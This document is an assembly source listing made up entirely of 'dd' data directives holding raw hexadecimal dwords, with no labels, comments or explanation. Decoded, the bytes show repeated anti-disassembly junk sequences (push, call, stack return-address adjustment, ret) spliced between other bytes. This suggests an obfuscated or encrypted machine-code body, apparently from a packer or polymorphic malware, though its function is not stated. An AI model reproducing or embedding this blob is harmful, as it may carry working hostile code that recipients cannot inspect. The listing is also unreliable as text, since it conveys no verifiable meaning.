		dd 31FF0935h, 799D8950h, 5F093522h, 8EF2815Ah, 66061491h
		dd 0F281F88Bh, 4021BE9Dh, 2860F57h, 60000000h, 0EA815B61h
		dd 5F8EBC4Ch, 8BCB8166h, 8FF952C0h, 619D8B01h, 83093523h
		dd 0D7BF04E9h, 8152C18Fh, 1EEh,	12850F00h, 66000000h, 0AACF081h
		dd 18E9h, 0CD6BBA00h, 0A906F31Ah, 0DABF0F81h, 0FFFF99E9h
		dd 64E25BFFh, 0EAD0883Ah, 6A6008h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 2DFBB2C3h, 17559529h
		dd 0C08B0935h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	6AC35646h, 0E9401566h, 3C88BFECh, 85893FF0h, 93523D5h
		dd 26A1BD83h, 75000935h, 79BD8309h, 93530h, 53501974h
		dd 38B8C08Bh, 89000004h, 352AC185h, 389D8D09h, 0FF0937B4h
		dd 83585BD3h, 353079BDh, 17740009h, 38B85350h, 89000004h
		dd 352AC185h, 279D8D09h, 0FF0937B1h, 8B585BD3h,	3526D5B5h
		dd 6870F09h, 0F000000h,	84h, 29C08B00h,	35025D8Dh, 8C7E809h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 15F136C3h, 0BE66E031h, 8589B077h,	9352E9Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 35C35242h
		dd 96E1CF45h, 0F8A71E7h, 683h, 8DB52900h, 0E8093500h, 869h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 50C35040h
		dd 39277426h, 0D8D89EDh, 89093526h, 3506B585h, 36E8F909h
		dd 6A000008h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 6C92C351h, 2DB54F57h, 892BF7B6h
		dd 350C4585h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 21A52955h, 0F03D5D9h, 682h, 45B58B00h
		dd 0E9093505h, 8, 0AAA640ECh, 0AC5BC517h, 7CCE8h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 60B25519h, 1B7CBEDBh, 85895473h, 9351BBDh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 50C35545h, 64032B17h
		dd 7AE88AC5h, 6A000007h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 7B6C355h, 54BFDC46h
		dd 2B4D28BEh, 79858933h, 2909352Ch, 350371B5h, 743E809h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0E10DE2C3h, 0EE93364h, 0D8000000h, 9593B2A6h
		dd 402654DCh, 0B2545810h, 0DD858969h, 8B093503h, 351F95BDh
		dd 0E8F88B09h, 6FDh, 11699D29h,	85890935h, 9352B11h, 4AC18166h
		dd 6E7E8FEh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0A456A5C3h
		dd 13E9h, 4B7FC800h, 8EDCD64h, 0EB5660Ah, 394770F8h, 60413F4Dh
		dd 2A818D8Bh, 85890935h, 9352BF5h, 9EE8EA8Ah, 0E8000006h
		dd 0Fh,	4C296AA0h, 0FC6EC4E0h, 0B3C77C1Bh, 8B2793C4h, 351F118Dh
		dd 8D0F5E09h, 4, 59595151h, 11F58589h, 6A0935h,	3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 26D115C3h, 47671FBh,	5E863h,	0A2A50000h, 89C5B557h
		dd 35048185h, 0BE85909h, 65000000h, 72B1646Fh, 7EFBF5BDh
		dd 85293313h, 9350F89h,	623E85Eh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 141319C3h
		dd 7B41E8D4h, 0D158589h, 6A0935h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 191B87C3h, 6E2C83F4h
		dd 0B1BCF434h, 5CFE8F6h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 9D89C8C3h, 93527E5h
		dd 12398589h, 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0E8A657C3h, 585h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 14h, 46C35040h, 30059D09h
		dd 85890935h, 9350041h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0D5C35545h, 1EB9F1DAh, 0E84DE46Fh, 535h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0B3C35747h
		dd 0C0A8E99h, 0F7DBE790h, 8959F850h, 350A6985h,	56006A09h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0E6E8692Ah, 6A000004h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 7A7FC357h, 164C77E8h
		dd 32D8D8Bh, 0B70F0935h, 1D8589F9h, 6A093533h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0A9F0C353h, 25E7815Bh, 0BE16EBD7h, 4A618D0Ah, 488E8h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 9FD50DAh, 35261595h, 89C3B109h, 35309585h
		dd 0D9816609h, 52E88938h, 6A000004h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 755DC353h
		dd 0B126B7CAh, 858998B1h, 9350D45h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0B8C35747h,	0BD8B29C3h, 9352635h
		dd 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 28296EC3h, 85953112h, 8A093526h, 0D8B60FCEh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 81C35141h
		dd 0FD647B81h, 8BA44FE0h, 3506918Dh, 6BA09h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 92C0F6C3h, 99ACE36Ah, 8BC38B91h, 4E8C1FBh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 24C35242h, 23958D8Bh
		dd 0F7660935h, 57006AE2h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 9C3D35C1h, 0B70FE8D5h
		dd 6AD82BCFh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0CB2FC355h, 0B561EE85h, 0B50B1F2Fh
		dd 93513E1h, 2661BD09h,	50930935h, 38D0Fh, 8B660000h, 0FA8B93F9h
		dd 10059D31h, 95FF0935h, 9352471h, 0C88B665Bh, 31B1958Dh
		dd 0F520935h, 8959C9B7h, 57006A1Ah, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 83BF661Eh, 44289B5h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 3CC35040h, 2D9BD31h
		dd 958D0935h, 9352665h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0AAC35747h, 0B5CD65CCh, 6A1A8998h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 8670C350h, 0CB2ACB0Eh, 0D1D015B6h, 85EF81F9h, 89134F46h
		dd 6A0442h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 7BB510C3h, 0D65958Dh, 6E90935h, 0D9000000h
		dd 0D9D0EDC5h, 0BE1A89D6h, 1FF0149Dh, 0E9044289h, 14h
		dd 124CD3E3h, 904AF22Fh, 0C84BF355h, 0EF0EA292h, 79013164h
		dd 106D958Dh, 6A0935h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 5A50E1C3h, 16A6B43Fh, 0F5B28F8h
		dd 185h, 1A89F800h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0F9C35040h, 1CEF6DDh,	5BD8B78h, 89093530h
		dd 6A0442h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 57B599C3h, 0E56F4C1Eh, 95898E7Fh,	9353165h
		dd 2561958Dh, 6A0935h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0D9D5CFC3h, 0B52960E1h, 9350185h
		dd 11E8h, 0DB67E700h, 0C32F6977h, 0E5973316h, 26786617h
		dd 0B53155ECh, 935089Dh, 1A89615Eh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 5DC35242h, 89CAB70Fh, 6A0442h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 3E0D41C3h, 0C95AC2D5h, 8A0FE991h, 6,	850Fh, 958D0000h
		dd 93523E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	3AC35747h, 957C9132h, 8D8B1A89h, 9351BF5h, 8B044289h
		dd 350819BDh, 1D958D09h, 6009352Fh, 0D9B58BFCh,	6109350Ch
		dd 59531A89h, 53044289h, 5F5F5253h, 0D9958D5Eh,	89093528h
		dd 3528658Dh, 891A8909h, 352E259Dh, 4428909h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 1CC35141h, 6F4F318Ah
		dd 58D89AEh, 89093508h,	35305DB5h, 0ACE909h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0D75094C3h, 6800F61h, 23000000h, 35229DB5h, 0F006A09h
		dd 588h, 0DF816600h, 5ABE9E60h,	6A75718Bh, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 2B6D59FBh, 66006A81h, 6AF88Bh, 27F18166h, 8195FFBBh
		dd 0BF09350Ch, 22B71C14h, 55006AC3h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0FBCD32DEh
		dd 10E9D6h, 0F1D60000h,	6AF7BFB5h, 3E455A96h, 0AFDE55DDh
		dd 0C58A1C9Fh, 0F7816650h, 8B5EDE0Ah, 6AC08BCEh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0C5BDC352h, 932F3949h, 89D585E0h, 35026DB5h,	0A1BD8309h
		dd 93526h, 0BD830975h, 9353079h, 50197400h, 0B8C08B53h
		dd 438h, 2CA98589h, 9D8D0935h, 937B49Fh, 585BD3FFh, 3079BD83h
		dd 74000935h, 0B8535017h, 438h,	2CA98589h, 9D8D0935h, 937B140h
		dd 585BD3FFh, 0FF7BF0Fh, 0B81h,	6E900h,	82140000h, 6D567C7Ch
		dd 38B0Fh, 0BF0F0000h, 8DC08BF0h, 35265985h, 5E809h, 74D40000h
		dd 2BEFFDCDh, 35321DBDh
		dd 0E8505F09h, 0Ah, 0D659F2ECh,	69689537h, 0FBBF254Ah
		dd 5F3AA13Fh, 66240489h, 6ADE8Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 1BC35141h, 0A663D26Ah, 0BF0F5C9Bh
		dd 2B006ADFh, 3513E99Dh, 0DE858D09h, 6A09393Dh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 663BC353h, 16019D0Bh, 0BD890935h, 93511E5h, 6605C083h
		dd 624DF81h, 0FE8B6650h, 6A240489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 4D16C351h
		dd 0CC11A4E6h, 6A9EBAh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0FCC35747h, 35F4BBC2h, 2E0EBFF2h, 6A5F82h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 80C35545h
		dd 1A8F279Ah, 0D9C7813Dh, 6614F3B1h, 673DF781h,	33195FFh
		dd 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 65CED2C3h, 8D4A71A7h, 389AAB8Dh, 14F78009h
		dd 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0FCF771C3h, 1F8C0Fh, 14E80000h, 0F5000000h
		dd 74334DE5h, 0BB0EB692h, 0CCA31930h, 7AC67C8Ch, 66442799h
		dd 0EDC4DB81h, 19BD835Bh, 109351Ch, 0BE850Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 82E20C3h, 160CF0B5h,	24D1BD89h, 8B660935h, 6A026ADAh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0B9B4C350h, 4C65E55Dh, 0C1B5899Ch, 66093531h
		dd 9B7BF381h, 11E9h, 4E538400h,	93A57385h, 559FBE36h, 0EACF0818h
		dd 60906FEDh, 890F53h, 5A000000h, 5061FC8Ah, 8B666060h
		dd 0F5250D6h, 61585A31h, 6A9061h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0BB7ED3C3h, 81E1E1C0h
		dd 0F8DD3ACBh, 5195FF12h, 66093511h, 0BE93EF81h, 0EF1E9h
		dd 0E800h, 815D0000h, 393DE8EDh, 0A323BB09h, 858D1BEAh
		dd 938932Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	0EFC35141h, 519D8B77h, 8B09350Dh, 3512D59Dh, 4895009h
		dd 64D88B24h, 35FFh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0B87AAFC3h, 58208AA5h
		dd 25896484h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 57C35646h
		dd 1AE0029Eh, 13922BC8h, 89536027h, 3515FD8Dh, 0BD8B5A09h
		dd 93527D1h, 985FF61h, 0F093530h, 68Dh,	49BD8B00h, 6A093532h
		dd 0FFD88BFFh, 352E9DB5h, 0C59D8B09h, 0FF09350Fh, 352EB995h
		dd 0DFE909h, 8B660000h,	853360D8h, 9353319h, 0A45B58Bh
		dd 0B0610935h, 9DBD2B00h, 23093506h, 3500759Dh,	2970E609h
		dd 352F258Dh, 6671E409h, 0F368DF81h, 830F613Ch,	0A9h, 0F059D8Bh
		dd 0B60F0935h, 6BAC8h, 8BF90000h, 890FC1h, 0C1000000h
		dd 8D8904E8h, 9351051h,	66E2F766h, 0C82BD88Bh, 0BE8h, 3E71D300h
		dd 0ABD06F51h, 465F0808h, 5BFEBF0Fh, 0BF0FD18Bh, 5E9DFh
		dd 81660000h, 8BE46FDBh, 3531B185h, 0DFB70F09h,	6607C083h
		dd 83DD67BFh, 0B58900C0h, 9350F69h, 830FD03Bh, 9, 38E9h
		dd 0B3BB6600h, 0F98D8BD9h, 8A09350Ch, 1E183F8h,	23840Fh
		dd 9D890000h, 9353341h,	0CF9A583h, 81FE0935h, 61F891DFh
		dd 89D88B24h, 3531B195h, 0DEBF0F09h, 0E9h, 0BEB58D00h
		dd 6A0938CEh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0B5EDC350h, 5B676743h,	0EB816686h
		dd 0BD33632Eh, 93502F9h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 70A254C3h, 99E188A1h
		dd 8B60A5BCh, 3528518Dh, 61CA8B09h, 2B3D9589h, 95FF0935h
		dd 9350829h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	33C35141h, 330CFB73h, 1BC5B589h, 8DB90935h, 0E9000007h
		dd 7, 261A9EDFh, 83AB8FBEh, 6AFCE1h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 9D328EC3h
		dd 8BFF84C8h, 3528D1BDh, 0DF80FC09h, 0B83Ch, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0C568D1C3h, 0BE0A3076h, 88A0F0Bh, 0F000000h,	287h, 2BF88B00h
		dd 51006AD2h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 9A618DCBh, 0CE145DCEh, 33AD33F7h, 3E8D1C2h
		dd 4E983D0h, 0BD33F475h, 9352425h, 6029F380h, 880D61h
		dd 958B0000h, 9351629h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 81C35545h, 8D8B5856h,	935287Dh, 50F88B66h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	56006A58h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0CF9D635Fh, 69CF8060h, 169D958Bh, 66610935h,	6A656FBFh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0B5ACC351h, 0BD83F78Ch, 9351249h,	91840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0A560C357h, 0E9288822h, 0Bh, 53856EBFh
		dd 51A10BF9h, 0B82B14E8h, 0
		dd 5850Fh, 42BF0000h, 8D083234h, 354C028Dh, 52006A09h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0E61C5958h, 33299D89h, 0E1FF0935h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 33C35545h, 699D3352h, 5F093525h
		dd 2255BD83h, 0F000935h, 50484h, 0D99D8B00h, 89093529h
		dd 35004995h, 55BD8309h, 1093522h, 506840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 30C3F1C3h, 0A4F8D291h, 0E7819A73h, 8727B70h,	2255BD83h
		dd 0F030935h, 49986h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 134DC579h, 60F9AAC8h
		dd 1631F381h, 8C66764Ch, 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 80ACBFA4h, 0BE804E1h
		dd 0DB000000h, 0F5C00FE4h, 0D1102FA0h, 5252D85Bh, 0A5B5B5Bh
		dd 63840FC9h, 66000001h, 8B6A84BFh, 352B6185h, 50006A09h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0F687D890h, 0E738CF81h, 9D332019h, 93516A9h,	0BF0F6051h
		dd 0C1BF0FC2h, 85335F61h, 9350D7Dh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 77C35747h, 9412FB49h, 0F8BF0FA7h
		dd 26BB6690h, 8D0F5008h, 0Ch, 0DCBF6660h, 0F525080h, 61585A31h
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 66FB16BBh, 6A830FBBh, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 88BE09ABh
		dd 0F5EE9174h, 8D89236Eh, 9352D41h, 4E8h, 1F03FF00h, 50BF6600h
		dd 0FE95030h, 4A000000h, 5D2F2338h, 8659824Bh, 51028955h
		dd 448B77CBh, 8B0424h, 4244489h, 51006A58h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 66D3C39Ah
		dd 0A182DB81h, 0CDD95FFh, 0D7B30935h, 0B76F8589h, 820F0938h
		dd 6, 0C099D8Bh, 41E90935h, 6A000002h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0C49AC351h
		dd 88C5858h, 858BC3D3h,	938B767h, 220D9501h, 0DE90935h
		dd 22000000h, 0DA3EB89Dh, 0CB6F128Ch, 63770545h, 1800C7h
		dd 0BD290000h, 9352C51h, 0B76BB58Bh, 6A0938h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0B87043C3h
		dd 4518081Bh, 39D9D89h,	858B0935h, 93524D5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0A3C35747h, 0D147189Ah
		dd 85BB6640h, 6E93Dh, 19020000h, 94A6122Dh, 6A0689h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 2C32F7C3h, 4995898Fh, 8B093505h, 352B6185h, 53006A09h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0FB6E5D38h, 0F4D381F9h, 52077B44h, 2E30D8BFh, 46895F65h
		dd 0FE904h, 891C0000h, 5AB0B1Bh, 4499D95Dh, 0AFEF5FE7h
		dd 348950A6h, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 8465AD20h, 265FA83Ah, 0B767B5FFh
		dd 6A0938h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 8C9E39C3h, 9575616h, 198B0Fh, 14E90000h
		dd 66000000h, 6A0BCCB0h, 0C8805DE2h, 3276EB1h, 0B44A7E80h
		dd 68969443h, 0C5DC6063h, 2650BB66h, 9C240481h,	6A3A42A3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 53BCC352h, 0B82E1046h, 2B6499B9h,	8DD8B70Fh
		dd 38B76F85h, 68C0F09h,	89000000h, 351EBD95h, 11E89009h
		dd 2D000000h, 9ADDF587h, 921E0552h, 72F267A8h, 0B7869B60h
		dd 0F525060h, 8B585A31h, 505B61CAh, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 95FF3C38h
		dd 9350CDDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0FFC35343h, 0F8BF0FBFh,	50006A61h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0B739814Fh
		dd 0FECB8166h, 5585C772h, 3093522h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0EC57C356h, 8F43DDB4h, 83A7DB80h, 38B76FBDh,	840F0009h
		dd 4Eh,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh
		dd 94C35747h, 961A2E02h, 0E80B6ACAh, 14h, 3186FD1Ah, 89CE0EB3h
		dd 17633915h, 71A287C4h, 0BFE44BFFh, 3225BD8Bh,	0E95B0935h
		dd 21h,	0B7DBD89h, 30500935h, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 0BE9C0h, 1A770000h, 0FD693555h
		dd 27B4CE93h, 0E38166F9h, 6A5B74h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 19E3ADC3h, 9D8B0FACh
		dd 93527E9h, 28AD8D89h,	0BD830935h, 9352255h, 0EB850F03h
		dd 83000004h, 38B76FBDh, 840F0009h, 4DEh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 0A7C35242h, 702F0003h
		dd 0BD295774h, 9350495h, 37BF665Bh, 6FB5FF33h, 6A0938B7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 932FC353h, 860F85E0h, 6, 0FF5BD8Bh, 95FF0935h
		dd 9352E11h, 68D0Fh, 0B5890000h, 935279Dh, 0B763B58Bh
		dd 6A0938h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0B53127C3h, 9352859h, 106C7h, 6A0001h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 120D6DC3h, 0E1BD8B46h, 89093513h, 352E159Dh,	8B665009h
		dd 243489F9h, 0B5FFF5B7h, 938B76Fh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0DFC35646h,	70348A31h, 8BEAF043h
		dd 353261BDh, 8995FF09h, 6A093502h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0A10FC357h
		dd 731F436Dh, 3349BFA7h, 6870Fh, 9D890000h, 9350161h, 0B763B58Bh
		dd 6A0938h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0C636CBC3h, 0EAC0DE8Ch, 2FB1BF66h, 0E99858Bh
		dd 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0ED057BC3h, 86898F10h, 0C4h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 65C35242h, 0B04454AAh
		dd 3DAE4EDAh, 81DF8B87h, 0F4B970D3h, 29958B57h,	8B093516h
		dd 352C599Dh, 4C28309h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0DEC35242h, 0E9DF8B66h, 7, 9D1F4D19h
		dd 89116E93h, 820F2050h, 6
		dd 3311BD29h, 858D0935h, 938CC07h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0AAC35545h,	0B8868922h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0F112C355h, 0BC0F0B9h, 3511419Dh,	6A006A09h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 8914C357h, 351F3D9Dh, 7D952909h, 23093508h
		dd 35248D9Dh, 6FB5FF09h, 6A0938B7h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0C5AEC352h
		dd 5195FFFCh, 2B093511h, 350185BDh, 9D296009h, 9350C15h
		dd 0F79BD8Bh, 50610935h, 10860Fh, 0BE90000h, 46000000h
		dd 464C47CDh, 940CCE1Bh, 34899BC9h, 0EE924h, 62280000h
		dd 47EBAED4h, 2685D34Ah, 0D1015957h, 118C0Fh, 5E80000h
		dd 3D000000h, 46D6809h,	2B919D8Bh, 0FF5F0935h, 38B76FB5h
		dd 0D99D8B09h, 0FF093522h, 350B5595h, 51006A09h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 5F44D163h, 0CF1BD8Bh, 800F0935h, 6, 1DE19D8Bh, 880F0935h
		dd 6, 2F2D9D8Bh, 0BD830935h, 9350079h, 80840F00h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 1C8AC355h, 0AB0B1B89h, 0D88B5D05h, 2EA19D8Bh
		dd 53960935h, 13E9505Bh, 0BF000000h, 2D8A596h, 1336DECAh
		dd 34AC908Bh, 352AF542h, 6A961D48h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0ACDCC352h
		dd 34C35560h, 2FE4FB4Bh, 66D78B60h, 0E961F98Bh,	7, 0FEEE580Ah
		dd 0FF37387Eh, 38B76FB5h, 0E6C38009h, 1C3595FFh, 6A0935h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 157556C3h, 9D8B819Dh, 9351EE5h, 0DF8B66F5h, 0B76FB5FFh
		dd 0FA8B0938h, 2CE595FFh, 6A0935h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0D82C35C3h, 5BD8Bh, 73BF0935h
		dd 835AE1B7h, 3526BDBDh, 840F0209h, 45h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 9C35242h, 2811C860h
		dd 0AD858B2Ah, 81093526h, 0B35012C7h, 0C639h, 10E9h, 0CB823D00h
		dd 0CBF50D4Eh, 75A545ABh, 2CCB3822h, 6585C796h,	93532h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 5C55C353h, 0BF660D6Ah,	0E95778B2h
		dd 5, 0E932E291h, 8E95BAEh, 6AFFFFF2h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 988EC353h
		dd 0A808F0Dh, 79376A6Eh, 0A2F78166h, 0E9C18BEBh, 0Ah, 0CE0C480Eh
		dd 292A317Fh, 858DF90Ch, 9352659h, 4759531h, 66900935h
		dd 509F79BBh, 0B79031B7h, 0B3006A22h, 6A006A54h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 6668C357h, 87DFB1FBh, 0D8B70FD7h, 4ED5858Dh,	6A0939h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 7D0958C3h, 1F7C13A1h, 0F998432h, 684h, 0B59D8B00h, 60093516h
		dd 2865858Bh, 0DB10935h, 5C08361h, 0E852006Ah, 3, 5AC35A20h
